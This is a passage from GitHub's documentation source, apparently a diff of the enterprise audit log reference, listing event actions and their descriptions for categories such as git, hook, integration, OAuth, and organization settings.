teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +| `external_identity.provision` | An Okta user was added to an Okta group and was subsequently provisioned to the mapped team on {% data variables.product.prodname_ghe_managed %}. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +| `external_identity.update` | An Okta user's settings were updated. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +{%- endif %} + +## `gist` category actions + +| Action | Description +|--------|------------- +| `gist.create` | A gist is created. +| `gist.destroy` | A gist is deleted. +| `gist.visibility_change` | The visibility of a gist is changed. + +{% ifversion git-events-audit-log %} +## `git` category actions + +{% ifversion enable-git-events %} +Before you'll see `git` category actions, you must enable Git events in the audit log. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise#managing-git-events-in-the-audit-log)." +{% endif %} + +{% data reusables.audit_log.git-events-not-in-search-results %} + +| Action | Description +|--------|------------- +| `git.clone` | A repository was cloned. +| `git.fetch` | Changes were fetched from a repository. +| `git.push` | Changes were pushed to a repository. +{% endif %} + +## `hook` category actions + +| Action | Description +|--------|------------- +{%- ifversion ghes or ghae %} +| `hook.active_changed` | A hook's active status was updated. +{%- endif %} +| `hook.config_changed` | A hook's configuration was changed. +| `hook.create` | A new hook was added. +| `hook.destroy` | A hook was deleted. +| `hook.events_changed` | A hook's configured events were changed. + +## `integration` category actions + +| Action | Description +|--------|------------- +| `integration.create` | An integration was created. +| `integration.destroy` | An integration was deleted. +| `integration.manager_added` | A member of an enterprise or organization was added as an integration manager. +| `integration.manager_removed` | A member of an enterprise or organization was removed from being an integration manager. +| `integration.transfer` | Ownership of an integration was transferred to another user or organization. +| `integration.remove_client_secret` | A client secret for an integration was removed. +| `integration.revoke_all_tokens` | All user tokens for an integration were requested to be revoked. +| `integration.revoke_tokens` | Token(s) for an integration were revoked. + +## `integration_installation` category actions + +| Action | Description +|--------|------------- +| `integration_installation.contact_email_changed` | A contact email for an integration was changed. +| `integration_installation.create` | An integration was installed. +| `integration_installation.destroy` | An integration was uninstalled. +| `integration_installation.repositories_added` | Repositories were added to an integration. +| `integration_installation.repositories_removed` | Repositories were removed from an integration. +{%- ifversion fpt or ghec %} +| `integration_installation.suspend` | An integration was suspended. +| `integration_installation.unsuspend` | An integration was unsuspended. +{%- endif %} +| `integration_installation.version_updated` | Permissions for an integration were updated. + +## `integration_installation_request` category actions + +| Action | Description +|--------|------------- +| `integration_installation_request.create` | An member requested that an owner install an integration for use in an enterprise or organization. +| `integration_installation_request.close` | A request to install an integration for use in an enterprise or organization was either approved or denied by an owner, or canceled by the member who opened the request. + +{%- ifversion ghec or ghae %} +## `ip_allow_list` category actions + +| Action | Description +|--------|------------- +| `ip_allow_list.enable` | An IP allow list was enabled. +| `ip_allow_list.enable_for_installed_apps` | An IP allow list was enabled for installed {% data variables.product.prodname_github_apps %}. +| `ip_allow_list.disable` | An IP allow list was disabled. +| `ip_allow_list.disable_for_installed_apps` | An IP allow list was disabled for installed {% data variables.product.prodname_github_apps %}. + +## `ip_allow_list_entry` category actions + +| Action | Description +|--------|------------- +| `ip_allow_list_entry.create` | An IP address was added to an IP allow list. +| `ip_allow_list_entry.update` | An IP address or its description was changed. +| `ip_allow_list_entry.destroy` | An IP address was deleted from an IP allow list. +{%- endif %} + +## `issue` category actions + +| Action | Description +|--------|------------- +| `issue.destroy` | An issue was deleted from the repository. For more information, see "[Deleting an issue](/issues/tracking-your-work-with-issues/deleting-an-issue)." +| `issue.pinned` | An issue was pinned to a repository. For more information, see "[Pinning an issue to your repository](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository)." +| `issue.transfer` | An issue was transferred to another repository. For more information, see "[Transferring an issue to another repository](/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository)." +| `issue.unpinned` | An issue was unpinned from a repository. For more information, see "[Pinning an issue to your repository](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository)." + +## `issue_comment` category actions + +| Action | Description +|--------|------------- +| `issue_comment.destroy` | A comment on an issue was deleted from the repository. +| `issue_comment.pinned` | A comment on an issue was pinned to a repository. +| `issue_comment.unpinned` | A comment on an issue was unpinned from a repository. +| `issue_comment.update` | A comment on an issue (other than the initial one) changed. + +## `issues` category actions + +| Action | Description +|--------|------------- +| `issues.deletes_disabled` | The ability for enterprise members to delete issues was disabled. Members cannot delete issues in any organizations in an enterprise. For more information, see "[Enforcing a policy for deleting issues](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-deleting-issues)." +| `issues.deletes_enabled` | The ability for enterprise members to delete issues was enabled. Members can delete issues in any organizations in an enterprise. For more information, see "[Enforcing a policy for deleting issues](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-deleting-issues)." +| `issues.deletes_policy_cleared` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the policy setting for allowing members to delete issues in an enterprise. For more information, see "[Enforcing a policy for deleting issues](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-deleting-issues)." + +{%- ifversion fpt or ghec %} +## `marketplace_agreement_signature` category actions + +| Action | Description +|--------|------------- +| `marketplace_agreement_signature.create` | A user signed the {% data variables.product.prodname_marketplace %} Developer Agreement on behalf of an organization. + +## `marketplace_listing` category actions + +| Action | Description +|--------|------------- +| `marketplace_listing.approve` | A listing was approved for inclusion in {% data variables.product.prodname_marketplace %}. +| `marketplace_listing.change_category` | A category for a listing for an app in {% data variables.product.prodname_marketplace %} was changed. +| `marketplace_listing.create` | A listing for an app in {% data variables.product.prodname_marketplace %} was created. +| `marketplace_listing.delist` | A listing was removed from {% data variables.product.prodname_marketplace %}. +| `marketplace_listing.redraft` | A listing was sent back to draft state. +| `marketplace_listing.reject` | A listing was not accepted for inclusion in {% data variables.product.prodname_marketplace %}. +{%- endif %} + +## `members_can_create_pages` category actions + +| Action | Description +|--------|------------- +| `members_can_create_pages.disable` | The ability for members to publish {% data variables.product.prodname_pages %} was disabled. Members cannot publish {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." +| `members_can_create_pages.enable` | The ability for members to publish {% data variables.product.prodname_pages %} was enabled. Members can publish {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." + +## `members_can_create_private_pages` category actions + +| Action | Description +|--------|------------- +| `members_can_create_private_pages.disable` | The ability for members to publish private {% data variables.product.prodname_pages %} was disabled. Members cannot publish private {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." +| `members_can_create_private_pages.enable` | The ability for members to publish private {% data variables.product.prodname_pages %} was enabled. Members can publish private {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." + +## `members_can_create_public_pages` category actions + +| Action | Description +|--------|------------- +| `members_can_create_public_pages.disable` | The ability for members to publish public {% data variables.product.prodname_pages %} was disabled. Members cannot publish public {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." +| `members_can_create_public_pages.enable` | The ability for members to publish public {% data variables.product.prodname_pages %} was enabled. Members can publish public {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." + +{%- ifversion ghec or ghes or ghae %} +## `members_can_delete_repos` category actions + +| Action | Description +|--------|------------- +| `members_can_delete_repos.clear` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the policy setting for deleting or transfering repositories in any organizations in an enterprise. For more information, see "[Enforcing a policy for repository deletion and transfer](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-deletion-and-transfer)." +| `members_can_delete_repos.disable` | The ability for enterprise members to delete repositories was disabled. Members cannot delete or transfer repositories in any organizations in an enterprise. For more information, see "[Enforcing a policy for repository deletion and transfer](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-deletion-and-transfer)." +| `members_can_delete_repos.enable` | The ability for enterprise members to delete repositories was enabled. Members can delete or transfer repositories in any organizations in an enterprise. For more information, see "[Enforcing a policy for repository deletion and transfer](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-deletion-and-transfer)." + +## `members_can_view_dependency_insights` category actions + +| Action | Description +|--------|------------- +| `members_can_view_dependency_insights.clear` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the policy setting for viewing dependency insights in any organizations in an enterprise.{% ifversion ghec %} For more information, see "[Enforcing a policy for visibility of dependency insights](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."{% endif %} +| `members_can_view_dependency_insights.disable` | The ability for enterprise members to view dependency insights was disabled. Members cannot view dependency insights in any organizations in an enterprise.{% ifversion ghec %} For more information, see "[Enforcing a policy for visibility of dependency insights](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."{% endif %} +| `members_can_view_dependency_insights.enable` | The ability for enterprise members to view dependency insights was enabled. Members can view dependency insights in any organizations in an enterprise.{% ifversion ghec %} For more information, see "[Enforcing a policy for visibility of dependency insights](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."{% endif %} + +## `migration` category actions + +| Action | Description +|--------|------------- +| `migration.create` | A migration file was created for transferring data from a *source* location (such as a {% data variables.product.prodname_dotcom_the_website %} organization or a {% data variables.product.prodname_ghe_server %} instance) to a *target* {% data variables.product.prodname_ghe_server %} instance. +| `migration.destroy_file` | A migration file for transferring data from a *source* location (such as a {% data variables.product.prodname_dotcom_the_website %} organization or a {% data variables.product.prodname_ghe_server %} instance) to a *target* {% data variables.product.prodname_ghe_server %} instance was deleted. +| `migration.download` | A migration file for transferring data from a *source* location (such as a {% data variables.product.prodname_dotcom_the_website %} organization or a {% data variables.product.prodname_ghe_server %} instance) to a *target* {% data variables.product.prodname_ghe_server %} instance was downloaded. +{%- endif %} + +## `oauth_access` category actions + +| Action | Description +|--------|------------- +`oauth_access.create` | An [OAuth access token][] was generated for a user account. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." +`oauth_access.destroy` | An [OAuth access token][] was deleted from a user account. + + [OAuth access token]: /developers/apps/building-oauth-apps/authorizing-oauth-apps + +## `oauth_application` category actions + +| Action | Description +|--------|------------- +| `oauth_application.create` | An [OAuth application][] was created for a user or organization account. +| `oauth_application.destroy` | An [OAuth application][] was deleted from a user or organization account. +{%- ifversion fpt or ghec %} +| `oauth_application.generate_client_secret` | An [OAuth application][]'s secret key was generated. +| `oauth_application.remove_client_secret` | An [OAuth application][]'s secret key was deleted. +{%- endif %} +| `oauth_application.reset_secret` | An [OAuth application][]'s secret key was reset. +{%- ifversion fpt or ghec %} +| `oauth_application.revoke_all_tokens` | All user tokens for an [OAuth application][] were requested to be revoked. +{%- endif %} +| `oauth_application.revoke_tokens` | Token(s) for an [OAuth application][] were revoked. +| `oauth_application.transfer` | An [OAuth application][] was transferred from one user or organization account to another. +{%- ifversion ghes or ghae %} +| `oauth_application.unsuspend` | An [OAuth application][] was unsuspended for a user or organization account. +{%- endif %} + + [OAuth application]: /guides/basics-of-authentication/#registering-your-app + +{%- ifversion fpt or ghec %} +## `oauth_authorization` category actions + +| Action | Description +|--------|------------- +| `oauth_authorization.create` | An authorization for an OAuth application was created. For more information, see "[Authorizing OAuth Apps](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)." +| `oauth_authorization.destroy` | An authorization for an OAuth application was deleted. For more information, see "[Authorizing OAuth Apps](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)." +| `oauth_authorization.update` | An authorization for an OAuth application was updated. For more information, see "[Authorizing OAuth Apps](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)." +{%- endif %} + +## `org` category actions + +| Action | Description +|--------|------------- +| `org.accept_business_invitation` | An invitation sent to an organization to join an enterprise was accepted. {% ifversion ghec %}For more information, see "[Inviting an organization to join your enterprise account](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account)."{% endif %} +| `org.add_billing_manager` | A billing manager was added to an organization. {% ifversion fpt or ghec %}For more information, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)."{% endif %} +| `org.add_member` | A user joined an organization. +| `org.advanced_security_disabled_for_new_repos` | {% data variables.product.prodname_GH_advanced_security %} was disabled for new repositories in an organization. +| `org.advanced_security_disabled_on_all_repos` | {% data variables.product.prodname_GH_advanced_security %} was disabled for all repositories in an organization. +| `org.advanced_security_enabled_for_new_repos` | {% data variables.product.prodname_GH_advanced_security %} was enabled for new repositories in an organization. +| `org.advanced_security_enabled_on_all_repos` | {% data variables.product.prodname_GH_advanced_security %} was enabled for all repositories in an organization. +| `org.advanced_security_policy_selected_member_disabled` | An enterprise owner prevented {% data variables.product.prodname_GH_advanced_security %} features from being enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %} +| `org.advanced_security_policy_selected_member_enabled` | An enterprise owner allowed {% data variables.product.prodname_GH_advanced_security %} features to be enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %} +| `org.advanced_security_policy_update` | An organization owner updated polices for {% data variables.product.prodname_GH_advanced_security %} in an enterprise. {% data reusables.advanced-security.more-information-about-enforcement-policy %} +| `org.async_delete` | A user initiated a background job to delete an organization. +{%- ifversion ghec %} +| `org.audit_log_export` | An organization owner created an export of the organization audit log. If the export included a query, the log will list the query used and the number of audit log entries matching that query. For more information, see "[Exporting audit log activity for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)." +{%- endif %} +| `org.block_user` | An organization owner blocked a user from accessing the organization's repositories. {% ifversion fpt or ghec %}For more information, see "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)."{% endif %} +| `org.cancel_business_invitation` | An invitation for an organization to join an enterprise was revoked. {% ifversion ghec %}For more information, see "[Inviting an organization to join your enterprise account](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account)."{% endif %} +| `org.cancel_invitation` | An invitation sent to a user to join an organization was revoked. +| `org.clear_actions_settings` | An organization owner cleared {% data variables.product.prodname_actions %} policy settings for an organization. For more information, see "[Managing GitHub Actions permissions for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)." +| `org.clear_default_repository_permission` | An organization owner cleared the base repository permission policy setting for an organization. For more information, see "[Setting base permissions](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions)." +| `org.clear_member_team_creation_permission` | An organization owner cleared the new teams creation setting for an organization. For more information, see "[Setting team creation permissions in your organization](/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization)." +| `org.clear_reader_discussion_creation_permission` | An organization owner cleared the new discussion creation setting for an organization. {% ifversion fpt or ghec %}For more information, see "[Allowing or disallowing users with read access to create discussions](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization)."{% endif %} +| `org.clear_members_can_create_repos` | An organization owner cleared a restriction on repository creation in an organization. For more information, see "[Restricting repository creation in your organization](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization)." +| `org.clear_members_can_invite_outside_collaborators` | An organization owner cleared the outside collaborators invitation policy for an organization. For more information, see "[Setting permissions for adding outside collaborators](/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators)." +| `org.clear_new_repository_default_branch_setting` | An organization owner cleared the default branch name for new repositories setting for an organization. For more information, see "[Setting the default branch name](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization#setting-the-default-branch-name)." +{%- ifversion fpt or ghec %} +| `org.codespaces_trusted_repo_access_granted` | {% data variables.product.prodname_github_codespaces %} was granted trusted repository access to all other repositories in an organization. For more information, see "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces)." +| `org.codespaces_trusted_repo_access_revoked` | {% data variables.product.prodname_github_codespaces %} trusted repository access to all other repositories in an organization was revoked. For more information, see "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces)." +{%- endif %} | +| `org.config.disable_collaborators_only` | The interaction limit for collaborators only for an organization was disabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %} +| `org.config.disable_contributors_only` | The interaction limit for prior contributors only for an organization was disabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %} +| `org.config.disable_sockpuppet_disallowed` | The interaction limit for existing users only for an organization was disabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %} +| `org.config.enable_collaborators_only` | The interaction limit for collaborators only for an organization was enabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %} +| `org.config.enable_contributors_only` | The interaction limit for prior contributors only for an organization was enabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %} +| `org.config.enable_sockpuppet_disallowed` | The interaction limit for existing users only for an organization was enabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %} +| `org.confirm_business_invitation` | An invitation for an organization to join an enterprise was confirmed. {% ifversion ghec %}For more information, see "[Inviting an organization to join your enterprise account](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account)."{% endif %} +| `org.create` | An organization was created. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." +{%- ifversion fpt or ghec or ghes %} +| `org.create_actions_secret` | A {% data variables.product.prodname_actions %} secret was created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)." +{%- endif %} +| `org.create_integration_secret` | A {% data variables.product.prodname_dependabot %}{% ifversion fpt or ghec %} or {% data variables.product.prodname_github_codespaces %}{% endif %} integration secret was created for an organization. +| `org.delete` | An organization was deleted by a user-initiated background job. +| `org.disable_member_team_creation_permission` | An organization owner limited team creation to owners. For more information, see "[Setting team creation permissions in your organization](/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization)." +| `org.disable_reader_discussion_creation_permission` | An organization owner limited discussion creation to users with at least triage permission in an organization. {% ifversion fpt or ghec %}For more information, see "[Allowing or disallowing users with read access to create discussions](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization)."{% endif %} +{%- ifversion fpt or ghec %} +| `org.disable_oauth_app_restrictions` | Third-party application access restrictions for an organization were disabled. For more information, see "[Disabling OAuth App access restrictions for your organization](/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization)." +{%- endif %} +{%- ifversion ghec %} +| `org.disable_saml` | An organization owner disabled SAML single sign-on for an organization. +{%- endif %} +{%- ifversion not ghae %} +| `org.disable_two_factor_requirement` | An organization owner disabled a two-factor authentication requirement for all members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators in an organization. +{%- endif %} +| `org.display_commenter_full_name_disabled` | An organization owner disabled the display of a commenter's full name in an organization. Members cannot see a comment author's full name. +| `org.display_commenter_full_name_enabled` | An organization owner enabled the display of a commenter's full name in an organization. Members can see a comment author's full name. +| `org.enable_member_team_creation_permission` | An organization owner allowed members to create teams. For more information, see "[Setting team creation permissions in your organization](/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization)." +| `org.enable_reader_discussion_creation_permission` | An organization owner allowed users with read access to create discussions in an organization. {% ifversion fpt or ghec %}For more information, see "[Allowing or disallowing users with read access to create discussions](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization)."{% endif %} +{%- ifversion fpt or ghec %} +| `org.enable_oauth_app_restrictions` | Third-party application access restrictions for an organization were enabled. For more information, see "[Enabling OAuth App access restrictions for your organization](/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization)." +{%- endif %} +{%- ifversion ghec %} +| `org.enable_saml` | An organization owner [enabled SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization) for an organization. +{%- endif %} +{%- ifversion not ghae %} +| `org.enable_two_factor_requirement` | An organization owner requires two-factor authentication for all members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators in an organization. +{%- endif %} +| `org.integration_manager_added` | An organization owner granted a member access to manage all GitHub Apps owned by an organization. +| `org.integration_manager_removed` | An organization owner removed access to manage all GitHub Apps owned by an organization from an organization member. +| `org.invite_member` | A new user was invited to join an organization. {% ifversion fpt or ghec %}For more information, see "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)."{% endif %} +| `org.invite_to_business` | An organization was invited to join an enterprise. +| `org.members_can_update_protected_branches.clear` | An organization owner unset a policy for whether members of an organization can update protected branches on repositories in an organization. Organization administrators can choose whether to allow updating protected branches settings. +| `org.members_can_update_protected_branches.disable` | The ability for enterprise members to update protected branches was disabled. Only enterprise owners can update protected branches. +| `org.members_can_update_protected_branches.enable` | The ability for enterprise members to update protected branches was enabled. Members of an organization can update protected branches. +{%- ifversion fpt or ghec %} +| `org.oauth_app_access_approved` | An owner [granted organization access to an {% data variables.product.prodname_oauth_app %}](/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization). +| `org.oauth_app_access_denied` | An owner [disabled a previously approved {% data variables.product.prodname_oauth_app %}'s access](/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization) to an organization. +| `org.oauth_app_access_requested` | An organization member requested that an owner grant an {% data variables.product.prodname_oauth_app %} access to an organization. +{%- endif %} +| `org.recreate` | An organization was restored. +| `org.register_self_hosted_runner` | A new self-hosted runner was registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)." +| `org.remove_actions_secret` | A {% data variables.product.prodname_actions %} secret was removed. +| `org.remove_integration_secret` | A {% data variables.product.prodname_dependabot %}{% ifversion fpt or ghec %} or {% data variables.product.prodname_github_codespaces %}{% endif %} integration secret was removed from an organization. +| `org.remove_billing_manager` | An owner removed a billing manager from an organization. {% ifversion fpt or ghec %}For more information, see "[Removing a billing manager from your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization)"{% endif %}{% ifversion not ghae %} or when [two-factor authentication was required in an organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) and a billing manager didn't use 2FA or disabled 2FA.{% endif %} +| `org.remove_member` | An [owner removed a member from an organization](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization){% ifversion not ghae %} or when [two-factor authentication was required in an organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) and an organization member doesn't use 2FA or disabled 2FA{% endif %}. Also an [organization member removed themselves](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization) from an organization. +| `org.remove_outside_collaborator` | An owner removed an outside collaborator from an organization{% ifversion not ghae %} or when [two-factor authentication was required in an organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) and an outside collaborator didn't use 2FA or disabled 2FA{% endif %}. +| `org.remove_self_hosted_runner` | A self-hosted runner was removed. For more information, see "[Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization)." +| `org.rename` | An organization was renamed. +| `org.restore_member` | An organization member was restored. For more information, see "[Reinstating a former member of your organization](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization)." +{%- ifversion ghec %} +| `org.revoke_external_identity` | An organization owner revoked a member's linked identity. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)." +| `org.revoke_sso_session` | An organization owner revoked a member's SAML session. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)." +{%- endif %} +| `org.runner_group_created` | A self-hosted runner group was created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)." +| `org.runner_group_removed` | A self-hosted runner group was removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +{%- ifversion fpt or ghec %} +| `org.runner_group_renamed` | A self-hosted runner group was renamed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +{%- endif %} +| `org.runner_group_updated` | The configuration of a self-hosted runner group was changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.runner_group_runner_removed` | The REST API was used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." +| `org.runner_group_runners_added` | A self-hosted runner was added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group). +| `org.runner_group_runners_updated`| A runner group's list of members was updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." +{%- ifversion fpt or ghec %} +| `org.runner_group_visiblity_updated` | The visibility of a self-hosted runner group was updated via the REST API. For more information, see "[Update a self-hosted runner group for an organization](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-organization)." +{%- endif %} +{%- ifversion code-security-audit-log-events %} +| `org.secret_scanning_push_protection_custom_message_disabled` | The custom message triggered by an attempted push to a push-protected repository was disabled for your organization. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)." +| `org.secret_scanning_push_protection_custom_message_enabled` | The custom message triggered by an attempted push to a push-protected repository was enabled for your organization. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)." +| `org.secret_scanning_push_protection_custom_message_updated` | The custom message triggered by an attempted push to a push-protected repository was updated for your organization. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)." +{%- endif %} +{%- ifversion secret-scanning-audit-log-custom-patterns %} +| `org.secret_scanning_push_protection_disable` | An organization owner or administrator disabled push protection for secret scanning. For more information, see "[Protecting pushes with secret scanning](/enterprise-cloud@latest/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." +| `org.secret_scanning_push_protection_enable` | An organization owner or administrator enabled push protection for secret scanning. +{%- endif %} +| `org.self_hosted_runner_online` | The runner application was started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `org.self_hosted_runner_offline` | The runner application was stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted 